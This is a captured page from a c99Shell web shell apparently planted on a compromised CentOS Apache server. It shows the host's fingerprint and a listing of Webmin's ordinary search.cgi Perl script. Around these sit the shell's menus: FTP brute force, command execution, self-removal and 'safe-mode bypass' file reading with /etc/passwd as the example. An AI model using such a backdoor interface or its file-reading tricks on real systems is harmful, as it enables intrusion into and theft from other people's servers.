!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/software/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     search.cgi (2.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# search.cgi
# Display a list of packages where the name or description matches some string

require './software-lib.pl';
&ReadParse();

$in{'search'} || &error($text{'search_esearch'});
if (defined(&package_search)) {
    # Use system-specific search function
    $n = &package_search($in{'search'});
    @match = ( 0 .. $n-1 ) if ($n);
    }
else {
    # Search manually through entire list
    $n = &list_packages();
    $s = $in{'search'};
    for($i=0; $i<$n; $i++) {
        if ($packages{$i,'name'} =~ /\Q$s\E/i ||
            $packages{$i,'desc'} =~ /\Q$s\E/i) {
            push(@match, $i);
            }
        }
    }
if (@match == 1 && $in{'goto'}) {
    $p = $packages{$match[0],'name'};
    $v = $packages{$match[0],'version'};
    &redirect("edit_pack.cgi?package=".&urlize($p)."&version=".&urlize($v));
    exit;
    }

&ui_print_header(undef, $text{'search_title'}, "", "search");

if (@match) {
    @match = sort { lc($packages{$a,'name'}) cmp lc($packages{$b,'name'}) }
              @match;
    print "<b>",&text('search_match', "<tt>$s</tt>"),"</b><p>\n";
    print &ui_form_start("delete_packs.cgi", "post");
    print &ui_hidden("search", $in{'search'});
    @tds = ( "width=5" );
    @links = ( &select_all_link("del", 0),
           &select_invert_link("del", 0) );
    print &ui_links_row(\@links);
    print &ui_columns_start([ "",
                  $text{'search_pack'},
                  $text{'search_class'},
                  $text{'search_desc'} ], 100, 0, \@tds);
    foreach $i (@match) {
        local @cols;
        local $v = $packages{$i,'shortversion'} ||
               $packages{$i,'version'};
        push(@cols, "<a href=\"edit_pack.cgi?search=$s&package=".
              &urlize($packages{$i,'name'})."&version=".
              &urlize($packages{$i,'version'})."\">".&html_escape(
            $packages{$i,'name'}.($v ?  " $v" : ""))."</a>");
        $c = $packages{$i,'class'};
        push(@cols, $c ? &html_escape($c)
                : $text{'search_none'});
        push(@cols, &html_escape($packages{$i,'desc'}));
        if ($packages{$i,'nouninstall'}) {
            print &ui_columns_row([ "", @cols ], \@tds);
            }
        else {
            print &ui_checked_columns_row(\@cols, \@tds, "del",
                  $packages{$i,'name'}." ".$packages{$i,'version'});
            }
        }
    print &ui_columns_end();
    print &ui_links_row(\@links);
    print &ui_form_end([ [ undef, $text{'search_delete'} ] ]);
    }
else {
    print "<b>",&text('search_nomatch', "<tt>$s</tt>"),"</b><p>\n";
    }

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0121 ]--